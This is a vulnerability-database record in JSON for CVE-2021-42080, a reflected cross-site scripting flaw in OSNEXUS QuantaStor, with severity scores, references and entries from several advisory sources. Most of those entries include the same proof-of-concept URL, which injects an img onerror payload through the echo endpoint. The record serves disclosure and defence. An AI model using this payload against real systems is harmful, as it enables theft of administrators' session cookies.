{"id":"CVE-2021-42080","aliases":["EUVD-2021-29066","GHSA-wf5c-q6vq-584r"],"status":"published","title":"Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://\u003cIPADDRESS\u003e:8153/qstorapi/echo?inputMessage=\u003cimg%20src=x%20onerror=alert(document.cookie)\u003e","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00695,"percentile":0.53408,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2023-07-10T06:29:48Z","modified":"2026-06-17T04:09:16Z","products":[{"vendor":"osnexus","product":"quantastor"}],"references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","technical-description","x_transferred","Third Party Advisory"]},{"url":"https://csirt.divd.nl/DIVD-2021-00020/","tags":["third-party-advisory"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred","Product"]},{"url":"https://csirt.divd.nl/CVE-2021-42080","tags":["third-party-advisory","technical-description","exploit","x_transferred","Third Party Advisory"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-42080"},{"url":"https://csirt.divd.nl/DIVD-2021-00020"},{"url":"https://github.com/advisories/GHSA-wf5c-q6vq-584r"}],"sources":{"cve":[{"id":"CVE-2021-42080","title":"Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://\u003cIPADDRESS\u003e:8153/qstorapi/echo?inputMessage=\u003cimg%20src=x%20onerror=alert(document.cookie)\u003e","status":"published","published":"2023-07-10T06:29:48.166Z","modified":"2025-09-22T06:40:04.494Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:58.739039Z"}],"euvd":[{"id":"EUVD-2021-29066","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://\u003cIPADDRESS\u003e:8153/qstorapi/echo?inputMessage=\u003cimg%20src=x%20onerror=alert(document.cookie)\u003e","status":"published","published":"2023-07-10T06:29:48Z","modified":"2025-09-22T06:40:04Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T20:31:41.254663Z"}],"ghsa":[{"id":"GHSA-wf5c-q6vq-584r","title":"An attacker is able to launch a Reflected XSS attack using a crafted URL.","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.","status":"published","published":"2023-07-10T18:30:47Z","modified":"2024-10-16T12:31:53Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:58:31.476115Z"}],"nvd":[{"id":"CVE-2021-42080","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://\u003cIPADDRESS\u003e:8153/qstorapi/echo?inputMessage=\u003cimg%20src=x%20onerror=alert(document.cookie)\u003e","status":"published","published":"2023-07-10T16:15:47.53Z","modified":"2026-06-17T04:09:16.733Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:07:07.764332Z"}]}}